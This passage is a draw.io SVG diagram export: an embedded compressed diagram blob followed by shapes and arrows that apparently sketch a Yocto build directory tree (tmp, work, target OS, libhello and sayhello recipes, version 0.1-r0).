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&lt;/diagram&gt;&lt;/mxfile&gt;" style="background-color: rgb(255, 255, 255);"><defs><style type="text/css">@import url(https://fonts.googleapis.com/css?family=Liberation+Sans);&#xa;</style></defs><g><rect x="9428" y="2640" width="1120" height="600" rx="90" ry="90" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><path d="M 8868 3120.57 Q 8656.57 3120.57 8656.57 1980.33" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 8656.57 1959.33 L 8665.9 1987.33 L 8656.57 1980.33 L 8647.24 1987.33 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 9228 3600 Q 9228 3760.57 9608 3760.57 Q 9988 3760.57 9988 3280.42" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9988 3253.42 L 10006 3289.42 L 9988 3280.42 L 9970 3289.42 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="8868" y="2640" width="480" height="960" rx="72" ry="72" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><rect x="2868" y="2640" width="1080" height="960" rx="144" ry="144" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><rect x="1082" y="840" width="1080" height="440" rx="66" ry="66" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><rect x="2148" y="2640" width="560" height="960" rx="84" ry="84" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><path d="M 4928 160 L 4928 360" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 4928.57 160 L 4928.57 200.57 Q 4928.57 240.57 4888.57 240.57 L 1662.29 240.57 Q 1622.29 240.57 1622.19 280.57 L 1622.06 334.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 1622.01 355.53 L 1608.08 327.49 L 1622.06 334.53 L 1636.08 327.56 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 4928.57 160 L 4928.57 200.57 Q 4928.57 240.57 4968.57 240.57 L 5808.57 240.57 Q 5848.57 240.57 5848.38 280.57 L 5848.12 334.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5848.02 355.53 L 5834.16 327.46 L 5848.12 334.53 L 5862.16 327.6 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 4928.57 160 L 4928.57 200.57 Q 4928.57 240.57 4968.57 240.57 L 7273.71 240.57 Q 7313.71 240.57 7313.81 280.57 L 7313.94 334.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7313.99 355.53 L 7299.92 327.56 L 7313.94 334.53 L 7327.92 327.49 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 4928.57 160 L 4928.57 200.57 Q 4928.57 240.57 4888.57 240.57 L 2620 240.57 Q 2580 240.57 2580.01 280.57 L 2580.02 334.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 2580.02 355.53 L 2566.01 327.53 L 2580.02 334.53 L 2594.01 327.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="4788" y="0" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 20px; margin-left: 1198px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">tmp</font></div></div></div></foreignObject><text x="1232" y="24" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">tmp</text></switch></g><path d="M 4928 520 L 4928 1040" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><rect x="4788" y="360" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 110px; margin-left: 1198px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">work</font></div></div></div></foreignObject><text x="1232" y="114" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">work</text></switch></g><path d="M 4928 1200 L 4928.29 1240.57 Q 4928.57 1280.57 4968.57 1280.57 L 5648.57 1280.57 Q 5688.57 1280.57 5688.57 1320.29 L 5688.57 1360" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 4928 1200 L 4928.29 1240.57 Q 4928.57 1280.57 4888.57 1280.57 L 3156 1280.57 Q 3116 1280.57 3115.98 1320.29 L 3115.96 1360" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 4588 1120 Q 4398.29 1120.57 4398.24 1334.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 4398.24 1355.53 L 4388.91 1327.53 L 4398.24 1334.53 L 4407.58 1327.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="4588" y="1040" width="680" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 168px; height: 1px; padding-top: 280px; margin-left: 1148px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter"><b>${MULTIMACH_TARGET_OS}</b></font></div></div></div></foreignObject><text x="1232" y="284" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">${MULTIMACH_TARGET_OS}</text></switch></g><path d="M 3115.96 1520 L 3116 1680" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><rect x="2975.96" y="1360" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 360px; margin-left: 745px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">libhello</font></div></div></div></foreignObject><text x="779" y="364" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">libhello</text></switch></g><path d="M 5688.57 1520 L 5688.57 1560.57 Q 5688.57 1600.57 5688.57 1570.29 L 5688.57 1555.14 Q 5688.57 1540 5688.29 1580 L 5688 1620" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><rect x="5548" y="1360" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 360px; margin-left: 1388px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">sayhello</font></div></div></div></foreignObject><text x="1422" y="364" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sayhello</text></switch></g><path d="M 3116 1840 L 3116 1960.57 Q 3116 2000.57 3076 2000.57 L 2036 2000.57 Q 1996 2000.57 1996 2040.57 L 1996 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 1996 2155.53 L 1986.67 2127.53 L 1996 2134.53 L 2005.33 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 3116 1840 L 3116 1960.57 Q 3116 2000.57 3076 2000.57 L 2468 2000.57 Q 2428 2000.57 2428 2040.57 L 2428 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 2428 2155.53 L 2418.67 2127.53 L 2428 2134.53 L 2437.33 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 3116 1840 L 3115.96 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 3115.96 2155.53 L 3101.96 2127.53 L 3115.96 2134.53 L 3129.96 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 3116 1840 L 3116 1960.57 Q 3116 2000.57 3156 2000.57 L 4268 2000.57 Q 4308 2000.57 4308 2040.57 L 4308 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 4308 2155.53 L 4294 2127.53 L 4308 2134.53 L 4322 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 3116 1840 L 3116 1960.57 Q 3116 2000.57 3076 2000.57 L 1508 2000.57 Q 1468 2000.57 1468 2040.57 L 1468 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 1468 2155.53 L 1458.67 2127.53 L 1468 2134.53 L 1477.33 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="2976" y="1680" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 440px; margin-left: 745px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">0.1-r0</font></div></div></div></foreignObject><text x="779" y="444" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">0.1-r0</text></switch></g><path d="M 5688.57 1780 L 5688.57 1960.57 Q 5688.57 2000.57 5648.57 2000.57 L 5568.57 2000.57 Q 5528.57 2000.57 5528.43 2040.57 L 5528.09 2134.53" fill="none" 